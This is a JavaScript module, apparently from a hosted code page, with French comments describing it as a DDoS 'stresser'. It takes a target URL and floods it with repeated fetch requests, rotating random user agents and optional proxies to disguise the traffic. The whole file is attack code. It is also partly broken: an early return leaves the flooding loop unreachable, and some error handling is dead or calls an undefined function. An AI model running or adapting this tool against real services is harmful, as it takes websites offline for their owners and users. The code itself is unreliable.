Spaces:
Running
Running
File size: 3,236 Bytes
e71c545 9805d72 |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 |
const
fs = require("fs"),
UserAgent = require('user-agents'),
HttpsProxyAgent = require('https-proxy-agent');
// J'AI ESSAYER DE COMMENTER LE CODE POUR UNE FOIS X) [Que le debug j'avais la flm]
/**
* Start ddos
*
* @param {object} options - Settings/Config.
* @param {function} emitter - Function Emitter.
*/
function start(options) {
try {
if (
(!options) ||
(options && typeof options !== "object")
) return;
const {
url, // Url à down (sa peut être une ip) {OBLIFATOIRE}
interval = 1000, // Interval par reques {FACULTATIF}
max = 100, // Nombre de request max par interval [Non définie = 100] {FACULTATIF}
proxy, // Proxy, peut être un tableau ou un fichier {FACULTATIF}
} = options;
if (!url || !url.startsWith("http")) return `Merci d'entrer une url\nPS: Si c'est une ip rajouter juste le protocole et le port\n\rpar example: http://<ip>:<port>`;
const
start = new Date(),
getTime = () => {
const
now = new Date(),
diff = now - start,
seconds = Math.round(diff / 1000),
minutes = Math.floor(seconds / 60),
remainingSeconds = seconds % 60;
return (`${minutes}m ${remainingSeconds}s`)
};
return `-> {${getTime()}} Lancement du stresser sur ${url}`;
let allProxy;
if (proxy) {
if (typeof proxy === "object" && Array.isArray(proxy)) allProxy = proxy;
else if (typeof proxy === "string" && fs.existsSync(proxy)) {
const all = fs.readFileSync(proxy, "utf-8")?.split("\n");
if (all.length != 0) allProxy = all
};
if (allProxy) return `-> {${getTime()}} ${allProxy?.length || 0} Proxy chargé !`
};
const getAgent = () => {
let
agent = new UserAgent().toString(),
proxy = ((allProxy || [])[Math.floor(Math.random() * (allProxy?.length || 0))]);
if (proxy && !proxy.startsWith("http")) proxy = `http://${proxy}`;
if (proxy) agent = new HttpsProxyAgent(proxy)
return agent
};
setInterval(() => {
let yes = err = 0;
for (let i = max; i--;) {
try {
fetch(url, { agent: getAgent() })
.then(response => { if (!response.ok) { err++; return `-> {${getTime()}} Network response was not ok` } else yes++ })
.catch(error => {
return `-> {${getTime()}} There was a problem with the fetch operation:`
err++
});
} catch (error) {
call(error);
err++
}
};
console.log(`-> {${getTime()}} SUCCES: ${yes} | ERR: ${err}`);
}, interval)
} catch (error) {
return error
}
};
module.exports = { start } |